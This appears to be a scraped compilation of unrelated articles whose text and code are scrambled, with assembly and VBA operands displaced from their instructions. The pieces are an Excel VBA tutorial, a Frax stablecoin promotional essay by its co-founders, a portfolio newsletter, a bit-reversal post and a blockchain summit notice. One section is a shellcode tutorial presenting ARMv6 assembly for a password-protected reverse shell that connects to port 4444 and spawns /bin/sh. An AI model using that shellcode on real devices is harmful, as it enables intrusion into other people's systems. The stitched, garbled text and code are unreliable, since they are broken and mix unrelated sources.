Dim wdApp As Word.Application wdApp = New Word.Application
With wdApp
.Visible = True
.Activate
.Documents.Add Set "C:\Users\User\Documents\Custom _
Office Templates\EmployeeReportTemplate.dotx" 8. Because we're making use of a template, we do not need any of the formatting we did for the previous document. Delete the following lines of code: With = _
wdAlignParagraphCenter 'Switch Bold on = 16 'Switch Bold off 'Enter a new line = 11 = _
wdAlignParagraphLeft End With .Selection .ParagraphFormat.Alignment .BoldRun .Font.Size .TypeText "Employee Information" .BoldRun .TypeParagraph .Font.Size .ParagraphFormat.Alignment .TypeParagraph 9. Use the GoTo method to instruct Word exactly where the copied data from Excel must be inserted. That's why we created a bookmark in the Word template. The final coding for the entire procedure should look like this: Sub CreateWordDoc()
Dim wdApp Word.Application
Dim SaveAsName String wdApp = Word.Application wdApp .Activate

.Documents. "C:\Users\User\Documents\Custom _
Office Templates\EmployeeReportTemplate.dotx"

Range("A1", Range("A2"). (xlDown) _
. (xlToRight)). .Selection.Goto wdGoToBookmark, , , "ExcelTable"
.Selection.Paste

SaveAsName = Environ("UserProfile") _
& "\Desktop\EmployeeReport " _
& Format(Now, "yyyy-mm-dd hh-mm-ss") & ".docx"

.ActiveDocument.SaveAs2 SaveAsName
.ActiveDocument. .Quit Sub As As Set New With '.Visible = True
' Add End End Copy Close End With End These instructions will enable you to create a template in Word, and then automatically place content from Excel into the Word document at specific bookmarks. Inserting Excel data into a Word template can be done with Excel VBA. Inserting a bookmark in the Word template enables Excel to send data to a specific insertion point for the data to be pasted. See also Visit for more information on the GoTo method. https://docs.microsoft.com/en-us/office/vba/api/word.selection.goto To read a more in-depth guide check out our book , authored by Mike Van Niekerk. VBA Automation for Excel Cookbook You can get 25% off at . Use discount code (Promotion running from 10th February through 15th March). http://packt.live/3u1fPtG 25VBA

How to Create Word Documents Within Excel VBA

Cómo crear documentos de Word dentro de Excel VBA

Caption: James Gillray, The Old Lady of Threadneedle Street, 22 May 1797, public domain, courtesy of the Bank of England By Stephen Moore, Sam Kazemian and Ralph Benko On a New Prophecy From The Oracle of “The Old Lady of Threadneedle Street” The Kansas City Fed held its annual central bankers’ conclave at recently. Mark Carney, the governor of the Bank of England, had something very interesting to say there. Jackson Hole Call Gov. Carney the Oracle of “The Old Lady of Threadneedle Street," long the BoE’s nickname. Carney whispered in delicate central-bankerly terms of the potential overthrow of the dollar as the world’s ruling currency. The coup’s leadership? Cryptocurrency. Governor Carney: “While the likelihood of a multipolar IMFS [International Monetary and Financial System] might seem distant at present, technological developments provide the potential for such a world to emerge. Such a platform would be based on the virtual rather than the physical. “History shows that the rise of a reserve currency is founded on its usefulness as a medium of exchange, by reducing the cost and increasing the convenience of international payments. The additional functions of money – as a unit of account and store of wealth – come later, and reinforce the payments motive. “Technology has the potential to disrupt the network externalities that prevent the incumbent global reserve currency from being displaced. “Retail transactions are taking place increasingly online rather than on the high street, and through electronic payments over cash. And the relatively high costs of domestic and cross border electronic payments are encouraging innovation, with new entrants applying new technologies to offer lower cost, more convenient retail payment services. “The most high profile of these has been Libra – a new payments infrastructure based on an international stablecoin fully backed by reserve assets in a basket of currencies including the US dollar, the euro, and sterling. It could be exchanged between users on messaging platforms and with participating retailers. “There are a host of fundamental issues that Libra must address, ranging from privacy to AML/CFT [Anti-Money Laundering and Countering Financing of Terrorism] and operational resilience. In addition, depending on its design, it could have substantial implications for both monetary and financial stability.” Indeed there are a host of issues and implications. We respectfully suggest that Libra already has stumbled upon these. Other stablecoins, however, may clear these legitimate hurdles. Follow along. Governor Carney clearly grasps what central bankers used to call “ .” Those rules prevailed back when the central banking game had rules rather than operating by an arcane “Calvinball” discretion. the rules of the game Carney went on to hint at the possibility that private sector innovation, rather than wise regulators, might prove the engine of progress. “The Bank of England and other regulators have been clear that unlike in social media, for which standards and regulations are only now being developed after the technologies have been adopted by billions of users, the terms of engagement for any new systemic private payments system must be in force well in advance of any launch. “As a consequence, , perhaps through a network of central bank digital currencies. [Emphasis added.]” it is an open question whether such a new Synthetic Hegemonic Currency (SHC) would be best provided by the public sector An open question indeed. Full disclosure: Frax, a stablecoin company which we, with several others, cofounded is set out to accomplish nothing less. Facebook fielded an extraordinarily gifted team of coders and designers proficient in to fashion Libra. Bravo. First rate! Move Its team’s grasp of monetary economics? Not so much. Libra has incorporated some crippling conceptual design deficiencies. Some are severe and, we believe, fatal. Where Libra Went Wrong As former Fed governor Henry Wallach once said, “Experience is the name we give to our past mistakes, reform that which we give to future ones.”   Let’s consider three of Libra’s “reforms.” A Tisket a Tasket, a Green and Yellow Basket Libra’s designers chose to back their token with a basket of currencies rather than with the reigning dollar. This likely was done with an eye toward catholicity. That said, the use of a basket is extremely problematic for a unit of account. A Libra will wobble against the dollar. Indeed, it will wobble against every other currency in the world. Irksome. The Libra-denominated price of everything will vary daily, even hourly. When we pull up to the pump the price of gasoline might be 3 Libras per gallon. It might be 3.01 Libras per gallon by the time we top off the tank. This is hardly catastrophic. Yet this is almost certain to prove chronically annoying. It is not optimal for commerce. Consumers do not like uncertainty in pricing, even ones of a modest order. John Wanamaker made a tidy fortune by inventing the concept of the retail price tag in 1861. This practice has since become . Departing from it is a great leap backward. The use of a currency basket, rather than the dollar, surely was well intended. It presents as a gesture of respect to a new world order chosen in preference to Americacentric. de rigueur That said, called the basket of currencies' precursor, the IMF’s SDR, the  "Esperanto” of currencies which “lacks a natural constituency.” Eichengreen and Frankel A basket of currencies may in theory be superior to the dollar. Yet as Yogi Berra taught us, “In theory there is no difference between theory and practice but in practice there is.” Libra violates Berra’s law. One can never violate this law with impunity. Our own offering, Frax, tracks the dollar. This provides the Frax immutable stability in the world’s most powerful economy, America, which with less than 5% of the world’s population generates over 20% of the world’s income. America is the world's dominant economic power. It is unwise to ignore this fact. Also, not immaterially, the dollar is the world’s legal reserve asset against which other nation’s currencies are held. The dollar is, in fact, the world’s money. It is comparable to how English is the world’s commercial lingua franca. Peter S. Goodman observed in the last February: Don’t fight the ticker. New York Times “The dollar has in recent years amassed greater stature as the favored repository for global savings, the paramount refuge in times of crisis and the key form of exchange for commodities like oil. … In a clear indication that the American currency has been gaining power, dollar-denominated lending to borrowers outside the United States, excluding banks, soared between late 2007 and early 2018, according to the . It increased to more than 14 percent of global economic output from less than 10 percent." And as neatly summed up recently by David Beckworth at in The Challenges of Dollar Dominance: “The dollar is now a truly hegemonic currency and, as a result, creates challenges not only for other countries but also for the United States. Bank for International Settlements Mercatus.org “The dollar’s dominance is evidenced by the of international trade being invoiced in dollars, the of relatively liquid, dollar-denominated debt held outside the United States, and the of the world economy’s currencies anchored in varying degrees to the dollar." 50 to 80 percent $28 trillion 70 percent Economically speaking it was a tyro error for Facebook to go with a basket of currencies. By contrast, Frax will provide a stablecoin that tracks to the dollar. This avoids the ongoing distortion of this token as a unit of account. This virtue applies domestically for American retail and business consumers. It applies internationally thanks to the dollar’s status as the world’s international reserve currency making the dollar the world’s base money. Meaning? Frax, unlike Libra, is to be a stable stablecoin. Full Reserve vs. Fractional Reserve Frax will also enjoy the suppleness (and profitability) of the fractional reserve. Libra’s reliance on 100% backing by the basket of fiduciary (or as they put it, fiat) currencies is another design flaw. The idea that there is something unsound about fractional reserve is a discredited fallacy perpetrated by the late economist Murray Rothbard. Just to, in passing, dispose of the misconceptions harbored by any remaining Rothbard diehards… Adam Smith, the canonical authority on free markets, observed in in : Wealth of Nations “When, therefore, by the substitution of paper, the gold and silver necessary for circulation is reduced to, perhaps, a fifth part of the former quantity, if the value of only the greater part of the other four-fifths be added to the funds which are destined for the maintenance of industry, it must make a very considerable addition to the quantity of that industry, and, consequently, to the value of the annual produce of land and labour.” Libra’s insistence on 100% reserve backing rather reminds us of a trope used in the Beverly Hillbillies. Jed and Granny would pop into the bank to see and count their money. As Leslie Dale Feldman writes in : Rustics and Politics: The Political Theory of the Beverly Hillbillies “[Granny] gets a paper bag for the money and goes to see Mr. Drysdale. Jed says, “Just give her the money and we’ll go” and they think that Mr. Drysdale doesn’t have the money, or, if he does have it, it will fit in the paper bag.  Granny says, “I don’t want no check. I want my money—cash.” Mr. Drysdale says, “I’ve got all of your money” and Jed asks, “Where is it?” to which Mr. Drysdale replies, “It’s invested—in stocks, bonds.” At this point Jed, who does not know what “invested” means, says, “Mr. Drysdale, you always told me I have $45 million in cash” and Mr. Drysdale says, “Well, you have—but not cash cash—like I said, it’s invested.”  Jed says, “Maybe you better start getting’ it together—it would ease my mind considerable to see it” to which Mr. Drysdale says, “You don’t understand.” “Granny and Jed transfer Granny’s money, in a check, to Mr. Cushing’s bank—but then ask him to see the money. “Dogged if he didn’t go through it quicker than Mr. Drysdale,” says Granny when he can’t produce it and she puts the money back in the Commerce Bank with Mr. Drysdale. In “Lafe Lingers On,” Lafe Crick, from back home, gets a job as a night watchman at the Commerce Bank so he can “watch” Jed’s money. When he gets to the bank he looks around Miss Jane’s office for the money—but he doesn’t see it and Mr. Drysdale explains, “Mr. Clampett’s fortune isn’t actually here.” Like the Clampetts, Lafe thinks the money is actually in the bank building. “The Clampetts, with their fortune, do not understand the concept of “interest” or the fact that you cannot take $11 million dollars out of the bank in a paper bag, or the fact that the bank cannot give you $11 million dollar—it would be like asking for the money in the form of barter—in goats, pigs, and chickens—which is something they might also do. … “John Locke describes the move from barter to money in The Second Treatise of Government….” No hillbilly elegy here. Libra’s designers appear intent on moving us backward. Intent or not, it is unthinkable that the world will retreat to pre-Lockean economics, even with the help of the blockchain. It is unnecessary – and retrograde – to maintain a 100% reserve. As monetary commentator Nathan Lewis ( by Steve Forbes “the world’s foremost monetary expert”) observed at upon an analogous matter: recently called Forbes.com “The amount of metal piled in a vault has little relationship to the value (or quantity) of paper banknotes. In 1779 the Bank of England held 953,066 ounces of gold in reserve. In 1783 it had fallen to 339,261 ounces. A year later, in 1784, it had grown to 1,683,724 ounces. The gyrations had no effect on the value of the British pound, pegged to gold at 3.89375 pounds per ounce. “Nor did banks ever have a 100% reserve of gold. In 1888 U.S. banks had a bullion-to-banknote ratio of 34.86%. By 1895 it had fallen to 12.33%. In 1906 it had grown again to 42.42%. It did not matter to the value of the dollar, which was pegged to gold at $20.67 per ounce. “A gold standard does not place some artificial limit on the supply of money, nor is the supply of money constrained to the output of gold mines. Between 1775 and 1900 the U.S.' base money supply increased by 163 times--in line with an expanding economy and a population that went from 3.9 million in 1790 to 76 million in 1900. Over this 125-year period the amount of gold in the world increased by about 3.4 times due to mining.” We can only look upon Libra and cry, with Mr. Drysdale, “You don’t understand.” We believe reliance on this model has crippled Libra right out of the gate. Central Planning vs. Decentralization Much of the 20th century was a cold war between central planners – epitomized by the USSR and Mao’s China – and the decentralizers, epitomized by President Ronald Reagan’s Supply-Side economics (of which two of the authors here were junior principals) and Chairman Deng Xiaoping’s “Poverty is not socialism. To be rich is glorious.”  推行“一个国家两种制度”，谁也不好吞掉谁。 Decentralization has both political and economic virtues. It is inherently democratic. The body of users makes governance decisions. Because of “invisible hand” dynamics of human nature the incentive of the owners is to maintain the integrity, and thus value, of the “product,” in this case the token. Economically, as James Suriwiecki observed in , it harnesses the power of “group intelligence.” “Consider an experiment that the financial analyst Jack Treynor did. First Treynor had the students in his finance class guess the number of jelly beans in a jar. Not surprisingly, the average guess was within 3 percent of the number of beans in the jar (there were 850 beans in the jar, and the mean guess was 871), and only one person in the class did better than the group as a whole.” The Wisdom of Crowds Despite its stated aspirations to evolve beyond central planning Libra is centralized. Moreover, its governance body is as convoluted as that of the United Nations and likely to be similarly unable to govern capably. In our view there is irony to how very antithetical Libra’s governance protocols are to Facebook’s lithe and market-dominating ethos, “Move fast and break things.” Libra presents as the MySpace of cryptocurrencies. Libra has forgone the power of group intelligence for an indefinite period, perhaps forever. In our view, whether indefinite or forever, this is a crippling mistake. Free markets are far less patient with defective products than are governments. Frax has opted for decentralization in its governance. It is harnessing the power of group intelligence. It uses smart contracts to open up an entirely new taxonomical category of financial instrument. Immunized from manipulation, the Frax model (which has straightforward KYC and AML procedures) may prove immune to the abuses for which federal regulators are otherwise needed to protect the public. Frax thus may even prove outside of the jurisdiction – and onerous compliance costs – of such regulation. If so, this will pass great cost savings on to Frax’s user base by providing comparable protection at far lower cost. Is Libra or Frax the Better Candidate for the Prophesied Synthetic Hegemonic Currency? We submit that Libra’s designers have made three fatal design errors. The Frax team, by contrast, has seized upon several powerful design advantages which should give it pole position in the race to become the Synthetic Hegemonic Currency. To reiterate, Bank of England Governor Mark Carney observed at Jackson Hole that: “While the likelihood of a multipolar IMFS might seem distant at present, technological developments provide the potential for such a world to emerge. Such a platform would be based on the virtual rather than the physical.” Meaning, presumably, stablecoins. The world is manifestly moving from a Cold War bi-polar geopolitics to a Post-Cold-War American unipolarity to an emerging multipolar geopolitical order. This may well have implications, sooner or later, for the dollar’s hegemony. What might come next? Gov. Carney: “As a consequence, , perhaps through a network of central bank digital currencies.” [Emphasis added.] it is an open question whether such a new Synthetic Hegemonic Currency (SHC) would be best provided by the public sector Both Libra and Frax contend for the status of the genesis block of the coming Synthetic Hegemonic Currency. Libra: A wobbly unit of account. Fully reserved. Centralized. Frax: A stable unit of account. Fractional reserved. Decentralized. Choose one. May the best cryptocurrency win. +++ The authors are among the co-founders of Frax. Stephen Moore is the chief economic officer, Sam Kazemian is the chief executive officer, and Ralph Benko is the general counsel to Frax, a stablecoin provisionally scheduled for release in Q1 2020. Moore, a leading economic policy expert, is co-author, with Dr. Arthur B. Laffer, of an influential economic policy advisor to President Trump, and was recently named by as the 32nd most powerful figure in global finance; Trumponomics: Inside the America First Plan to Revive Our Economy, Worth Magazine Kazemian, an Iranian-American software programmer, is co-founder and president of Everipedia, a for-profit, wiki-based online encyclopedia founded with Theodor Forselius in 2014; Benko, the founder of the Prosperity Caucus, is a former Reagan White House deputy general counsel and former senior counselor to the Chamber of Digital Commerce, the largest trade association representing the blockchain ecosystem.

Making Good Money: The
Coming Synthetic Hegemonic Currency

After having written a I was curious about how to apply this knowledge for other architectures so I decided to go with ARM since it’s an interesting and wide-spread one. similar payload for Linux/Intel x64 About ARM ARM is a Reduced Instruction Set Computing (RISC) processor architecture that is used everywhere these days: mobile phones, smart thermostats, tv’s, wi-fi dongles, cars, credit cards, you name it. How does ARM compare against Intel x86? Here are some key takeaways: Being ARM a RISC processor it has a simplified instruction set that is just a fraction of its 32-bit Intel counterpart, the x86. While on x86 most instructions are allowed to access/operate memory, on ARM the data must be moved from memory into registers before being operated on. Most ARM instructions operate only on registers.Only Load/Store instructions can access memory. ARM has two main instruction set states ARM and Thumb. Thumb instructions are 2 bytes long most of the time while in ARM state instructions are always 4 bytes long. For shellcode writing, Thumb state is the de facto as it saves space and avoids a lot of null bytes. The ARM instruction has a limited range of immediate values available to be used directly with a instruction. If a number is out of this range it can’t be used directly and must, therefore, be split into parts and loaded using several operations/values. mov How do I switch to Thumb state? In order to switch to Thumb state, we can make use of the Branch and Exchange instruction ( ) after having set the destination register’s least significant bit to 1. This can be achieved by adding 1 to the Program Counter ( register) while on ARM state. bx pc <some arm code>
 ... add r0, pc, # bx  r0 <some thumb code>
 ... // Here we are running on ARM state 1 // Increase value of PC by 1 and place the result into r0 // Branch & Exchange to the address in r0 // This will make the switch to Thumb state because the LSB of r0 = 1 // From here on we can execute Thumb state instructions! From now one all the coding will be done in Thumb state since this is the relevant state for writing shellcode. Setting up the lab First of all, we’ll need a lab to run our tests on. Here are some options for it: You can go for the real deal and test the payload on a real Raspberry Pi 1. 1. You can build/run an emulated environment using Qemu. Since I used the Qemu image from this repo I’d recommend you use . It pretty much works off-the-shelf, don’t worry. 2. armv6_stretch the same setup You could download and use the . 3. VM provided by Azeria Labs Writing the payload Stage One: General Overview First of all, what are we trying to achieve here? Our goal is to write for the Linux 32-bit ARMv6 architecture that will connect back to a remote location over TCP/IPv4 and provide a shell only after the remote client provides a valid password. In order to write the payload, we need to chain several syscalls. The exact order is the following: shellcode We create a new to manage the new connection. socket We to the target address. connect We from the socket and check if the provided password is correct. read We duplicate each standard stream into the new connection stream using the syscall, so the target machine can read and write messages to and from the source machine. dup2 We start a shell by using the syscall. execve Each of these syscalls has a signature we need to address. Certain registers must contain specific values. For example, the register is used to identify the syscall that is executed so it should always contain the . A whole document containing a . r7 syscall number full syscall table can be found here Photo credit: Webaroo.com.au Stage Two: Writing a Syscall Let’s see an example of how to write a syscall in ARM Thumb state. We’ll use the socket syscall: mov   r0, # mov   r1, # eor   r2, r2 c8 mov   r7, # add   r7, # df    svc   # // [281] socket(2, 1, 0) 02 20 2 // loads immediate value 2 into r0 01 21 1 // loads immediate value 1 into r1 52 40 // zero-outs r2 by xoring it with itself // 281 is out of range for immediate values // It must be loaded in parts 27 200 // part1: loads immediate value 200 into r7 51 37 81 // part2: adds 81 to r7 as (syscall number) 01 1 // issues the syscall Here you can see: The register being used identifying the syscall r7 Registers , , and used as parameters for the syscall r0 r1 r2 An example of how to deal with immediate values that are out of range The use of instruction to perform a system call svc Stage Three: Writing the full payload Armed with all our knowledge we are now prepared to chain every syscall and put together our payload. The was extracted from the source code on my main repository: following Gist .section .text
.global _start
_start:

.arm
    add   r3, pc, # bx    r3

.thumb mov   r0, # mov   r1, # eor   r2, r2
    mov   r7, # add   r7, # svc   # mov   r10, r0 adr   r1, target
    strb  r2, [r1, # ] strb  r2, [r1, # ] strb  r2, [r1, # ] mov   r2, # add   r7, # svc   # push  {r1}
    mov   r1, sp
    mov   r2, # mov   r7, # read_pass:
        mov   r0, r10
        svc   # check_pass:
        ldr   r3, pass
        ldr   r4, [r1]
        eor   r3, r3, r4
    bne read_pass mov   r1, # mov   r7, # loop_stdio:
        mov   r0, r10 svc   # sub   r1,# bpl loop_stdio adr   r0, command
    eor   r2, r2
    eor   r1, r1
    strb  r2, [r0, # ]
    mov   r7, # svc   # target: .ascii .ascii .byte , , , command: .ascii pass: .ascii // Password-Protected Reverse Shell Linux/ARMv6 // Author: Alan Vivona // medium.syscall59.com // @syscall59 1 // switch to thumb mode // [281] socket(2, 1, 0) 2 1 200 81 1 // save sockfd into r10 // [283] connect(socketfd, target, addrlen) // socket fd is in r0 already 1 // replace the 0xff value of the protocol field with a 0x00 5 // replace the 1st '255' values of the IP field with a 0 6 // replace the 2nd '255' values of the IP field with a 0 16 2 // 281 + 2 = 283 1 // [003] read(sourcefd, destbuffer, amount) 4 3 1 // [063] dup2(sockfd, stdIO) 2 // r1 = 2 (stderr) 63 // r7 = 63 (dup2) // r0 = saved sockfd 1 1 // loop while r1 >= 0 // [011] execve(command, 0, 0) 7 11 1 // 2 bytes aligment fix if needed (can't use a nop as it has a null byte) // align_bytes : .byte 0xff, 0xff // The 0xff will be replaced with a null on runtime "\x02\xff" // Protocol: IPv4/TCP. "\x11\x5c" // Port : 4444 // The '255' will be replaced with a 0 on runtime 127 255 255 1 // IP: 127.0.0.1. "/bin/sh?" // The '?' will be replaced with a null on runtime "S59!" Testing When testing the payload take in consideration that it was crafted for Linux 32-bit ARMv6 (the same chip the Raspberry Pi 1 has). Some quirks may be needed for it to work on other platforms/architectures. In the following video, you can see the whole process of booting up the Qemu armv6 image, assembly of the payload and, finally, the test: https://vimeo.com/331280681 That’s all! Hope you enjoyed this one! The full source code can be found on repo and . Follow me on and for more content like this! my GitHub Exploit-DB Twitter Medium

Developing Shellcode for IoT: A Password-Protected Reverse Shell for ARM Processors

But first, shoutouts to our investors of the week: , , & . Satya Padala Claudio Cherubino Ajeet Khurana Whether you are a UX designer , a Python engineer , or anything in between, your portfolio matters. It’s often one of the first things recruiters and prospective employers will see. That being said, not every portfolio will be exactly the same. In the articles in today’s newsletter, we’ll look at ways to make your portfolio stand out, or ways you can change an existing portfolio to make a bigger impact! How to optimize your GitHub profile Pavel Malos If you’re having trouble getting started, one of the simplest solutions is to optimize your Github profile. In this article, talks about ways you can make Github stand, and even use it as your portfolio. He also explains how this is a great first step toward a more advanced portfolio: Pavel Malos “This guide will help you to create a professional looking GitHub profile intended to use it as a portfolio of your work.You’ll also learn how to impress recruiters by contributing to open source projects. A personal side-project may grow into something bigger. You can’t always predict what will catch the eye of a recruiter or senior software engineer, but when it does, you want to showcase your best work.” Create your developer landing page with GitHub Pages Dinesh Pandiyan If you’ve already customized your Github profile, the next logical step is to create a developer landing page with GitHub Pages. You likely already use GitHub, so this is a great way to get a simple portfolio site up and running quickly. explains: Dinesh Pandiyan “Usually creating a personal website would involve buying/registering a domain name, finding a free/paid hosting service, developing your site and uploading it to the hosting provider. But with GitHub Pages, publishing your site is as easy as drinking a coffee.” If you’re a dev, come and get your own rockstar portfolio! Pedro Silva Moreira In his article, explains why we often don’t even start the process of creating a portfolio: Pedro Silva “Creating your own portfolio takes time. First you have to choose the technologies among the overwhelming amount of options we have. Am I going to go for React? Angular? PHP? Ruby? What about SEO? Should I try node? What them, where do I host? Once you decided and set everything up, you’ve got to list all your projects manually, add the descriptions, links, images and decide on a design that shows your very best. Suddenly, the simple task of creating a pretty portfolio is overwhelming.” If this sounds like you, then read this story, for a practical approach to creating an online portfolio using GitShowcase. I’m not a UI or UX engineer! Developer — Free Bootstrap 4 Portfolio Theme for Developers Xiaoying Riley If you don’t have a lot of time or UI experience, maybe a professional Bootstrap theme is your answer. In this article, showcases a developer theme she build, and gives a brief tutorial on how to install and customize it. Here’s a short summary: Xiaoying Riley “It can be used as a professional portal to your other online portfolios or websites (eg. Linkedin, CoderWall, Blog, GitHub etc) in a modular fashion. The template comes with all of the source SCSS files included so the styling/colour can easily be customised.” I Created My Portfolio with React and Some Magic Dinesh Pandiyan Sometimes, creating a portfolio can be intimidating if we don’t have a ton of experience with UI or UX. If that sounds like you, this tutorial may help you build a fantastic looking website using React, and a few other front end technologies. In his article, explains how even if you aren’t an expert in UI, you can still make a stunning portfolio website: Dinesh Pandiyan “I am no UI expert but in recent times I’ve took a liking towards responsive design, animations, flexbox, and other fancy CSS features. So I thought I’d take my UI skills for a spin and build my portfolio along the way.” 8 UX Mistakes To Avoid On Your UX Portfolio Website Sarah Doody When it comes to a good portfolio, what you do is sometimes just as important as what you don’t do. Knowing what mistakes to avoid can be a game changer. According to , even experienced engineers and designers can struggle with this: Sarah Doody “When it comes to creating your own website, you struggle because you don’t have months or years of experience thinking about content websites, playing with different layouts, understanding how to make it scannable, and considering the behavior of the user on a content website.” I don’t have time to update my portfolio! Build a GraphQL API-Powered Portfolio Website Carson Gibbons Maybe you already have a website, but it’s outdated. Often the most time consuming part of building an online portfolio is maintaining and updating the content. If you have ever felt like this, maybe using the GraphQL-API powered CMS is the answer you’re looking for. In this tutorial, shows you how to set everything up from start to finish: Carson Gibbons “I will show you how to pick up an existing codebase example to build your very own beautiful , powered by the The portfolio app includes portfolio management, contact form (powered by MailGun) and a beautiful frontend by . Install, deploy and edit every part of this portfolio website from your Bucket Dashboard.” Portfolio Website Cosmic JS GraphQL API . HTML5UP.net Cosmic JS How to Build a Portfolio Site Using Vue and Cosmic JS Tony Spiro Cosmic JS offers a CMS for any website or portfolio, but setting it up can sometimes seem a little overwhelming. If you’re looking for an easy way to update and manage content on your portfolio website, shows how to build a great site using Cosmic JS and Vue. Here’s a little from his tutorial: Tony Spiro “The portfolio site we are going to build will have 4 pages there are home, technologies, projects, and open sources. This site also will have 3 object types there are profiles, technologies, and projects.” I just need some inspiration! Top 12 Web Developer Portfolios to Get Inspirations Amy Smith Perhaps you have the time and the skill set to create your own portfolio. But just having inspiration to get started is challenging. In this article, takes a look at some of the best online portfolios and explains what makes them stand out. She also has this to say to get you thinking about what makes a great portfolio: Amy Smith “One of the toughest things to do as a new developer is to make a personal web developer portfolio that helps to get a potential employer’s attention in the overcrowded job marketplace. Compared with commercial website, web developer personal website will pay more attention to personality and independent thinking.” I’m happy with my portfolio, but don’t know what else to do! How to Build an Online Presence as a Junior Developer Sam Jarman If you are reading this, there’s a good chance you’ve spent a lot of time writing high quality blog posts on Hacker Noon. Maybe you’ve spent more time writing than creating your portfolio. If you fall into this category, then be sure to include your blog posts in your portfolio or website. In this story, explains that a portfolio or website isn’t all there is to do. Creating an online presence through a blog, or integrating your blog into your portfolio can be a powerful tool: Sam Jarman “So, what, as a developer could you create for online? Twitter is trivial, LinkedIn you probably already know about and GitHub we’ve talked about. But how about a blog? A blog is a great way to share your long-form thoughts and they’re very easy to set up.” is a top 5k site in the world (source, Alexa), so if you want some great links back to your portfolio site, . P.S. Hackernoon.com consider publishing a tech story on Hackernoon.com Shoutout to our investors of the week! Cheers to those who make it possible for us to : P.P.S. build a better tech site is a senior engineer who hacked his way into the early investment world. Satya Padala is a Developer Relations Manager at Google, working on the Google Assistant, Fuchsia, and other IoT projects. Claudio Cherubino Author, investor, speaker, crypto-evangelist is CEO of — a Cryptocurrency exchange founded in 2014. Ajeet Khurana Zebpay

No Portfolio? What’s your excuse?

Daniel Kelman on the Creditors of Mt. Gox and Civil Rehabilitation

Last week, while writing my , I came across an interesting algorithm for reversing an integer. For example, it takes and transform it into . What’s cool about this algorithm, is that it does it in O(log n) iterations. This is the code: previous post 10100011 11000101 Creating the mask Another cool trick lies in how is created. is composed of alternating blocks of 0s and 1s of size each. The mask starts as an all-1s number, and updated on the first line of the loop: mask mask s while ((s >>= 1) > 0) {mask ^= (mask << s);... This happens right after is halved, so is then half of 's block size. On the first iteration, , and . The mask is updated by XORing itself with another copy of itself left-shifted by places: s s mask mask == 11111111 s == 4 s mask =11111111 XOR  // mask11110000      // mask << s= 00001111 XOR of two bits is 1 if-and-only-if they are to each other. In each iteration of the mask update, all blocks are shifted left by half their size. When a block is XORed with the previous mask, half of the block overlaps with zeros and the other half overlaps with ones. This creates 2 blocks in the new mask, each half the size of the previous blocks. Here is an illustration: not equal 0000000011111111  // original mask, 8-bit blocks0000111111110000  // mask shifted left by block-size/20000111100001111  // XORed: new mask, 4-bit blocks Tying it all together Here’s a short animation that shows the algorithm in action: It’s amazing how much depth can be found in 9 lines of code. If you have in mind an interesting piece of code that you’d like me to explore, please below! leave a response

Reversing an n-bit number in O(log n) time

The Chinese Social Network

San Francisco to host The World Digital Assets Summit (WDAS) in December. WDAS is e_xploring the potential of this revolutionary industry by bringing together thought leaders, educators, legislators and enthusiasts as well as combining the world of innovation with real-life applications._ Earlier this year, Singapore played host to the World Digital Assets Summit an event that was largely successful prompting the need for a similar summit before the year comes to an end. The next version of the event will be hosted in the United States. If you want to level up on your knowledge of everything blockchain, then is the place to be between Hyatt Regency Hotel in Francisco 9th up to the 11th of December. The summit will provide the big players in blockchain technology projects, startups, developers and all stakeholders of the digital asset technology with a platform for the exchange of ideas, discussions and engagement focusing on the latest development and trends in the blockchain industry. Highlights from the Singapore Event The inaugural event was held at the Ritz-Carlton, Millenia Singapore between 1–3 May 2018. The conference explored and its growing impact on the traditional economy. “tokenomics” Event showhouse The Singapore event was a two-day meeting in which various stakeholders in the blockchain industry; investors, industry practitioners and service providers shared insight and discussed the way forward for blockchain tech. The event featured panel discussions, as well as keynote speeches regarding and the big issue of . crypto economics scalability of blockchains More than 80 global blockchain pioneers, including , , l and participated in panel discussions on topical issues regarding blockchain technology. Elaine Shi Ryan Zurrer Ari Pau Thomas France The Scalability Panel The above picture features the Panel for the discussion**.** Top Left is Zhuling Chen from Xinshu Dong from Bottom left is Terrence Wang from and lastly Feng Cao from Scalability Aelf , Ziliqa . IOST Pchain . To note; the four projects mentioned above garnered a lot of attention from the crypto community in 2018 owing to their proposed solutions to the scalability problems of blockchains by building high TPS blockchain infrastructure. Another interesting discussion panel was that of 2018 is arguable the year of stablecoins necessitated by the price volatility witnessed at the beginning of the year when market prices skyrocketed and plummeted unprecedentedly. Currently there are as many as 50 stable coin projects under development. Stable coins offer investors escape from the price volatility of cryptocurrencies without having to cash out into fiat. Stable coins. The Stable coin panel The panel above features top left, Mathew Branton from , top center Kwon Do from and top right Pan hao from On the bottom left is Kain Warwick from bottom center is Shaun Dijie from and on the bottom left is Evan Kuo from Neutral Terra C MakerDaO . Havven , Digix Fragments Inc . The other noteworthy highlight is the which had a representation from blockchain industry’s biggest investment houses. The conference gave a chance to representatives from various blockchain start ups to mingle with investors and create working partnerships. blockchain investment panel, The blockchain investment panel First row from left to right; Vincent Zhou from Ryan Zurrer from Simon Seojoon Kim from Centre row Jehan Chu from Michael Arrington from and Brad Chun from Bottom row; Ari Paul from FBG Capital , Polychain , Hashed . ; Kenetic Capital , Arrington XRP Capital Shuttle Fund . Blocktower capital . Participants mingling at the summit. In retrospect, the May conference was quite successful, and it covered the biggest sticky issues that plague the blockchain ecosystem currently. Beyond my personal picks of , the conference featured panel discussions and keynote speeches on scalability, stable coins, and blockchain investment Emphasizing economic development Blockchain security issues Privacy Cryptography in the blockchain era Decentralized exchanges Global supply chain on the blockchain Blockchain in Europe Crypto trading AI and Blockchain Building trust in the Crypto Industry Blockchain services and best practices The December Event, The place to be The event, which will take three days from the 9th up to the 11th of December, will stick to the summit’s mission that is “to explore the potential of this revolutionary industry by bringing together thought leaders, educators, legislators and enthusiasts as well as combining the world of innovation with real-life applications.” A view of San Francisco; source The previous meetings were successful in providing a platform for the showcasing of ground-breaking technology developments, the radical and futuristic blockchain ideas from the companies and individuals for the blockchain universe. Therefore, if you are around or in the San Francisco region do not miss the chance to interact with fellow blockchain enthusiasts and to hear and share from some of the industry’s most influential professionals who will be attending. Tickets The tickets to the event are already available online on the website at . What’s interesting is that cryptocurrency payment method with Bitcoin, Etherium is accepted or credit cards; Mastercard, Visa Amex or AliPay. https://wdas.world A brief overview of the events expected at the event will be; A welcome reception 15 plus panels of global industry leaders 10 plus Keynotes speeches and Fireside chats Educational and Networking workshops The image below includes some of the industry’s influential professionals who will be attending. WDAS 2 Speakers. The in San Francisco will offer a unique and unparalleled access to the speakers and the world’s most influential and successful industry toppers. The fans will be in for a treat right from the welcome reception that will see them served with beverages and snacks as they mingle freely with the best. WDAS 2 Organizers; 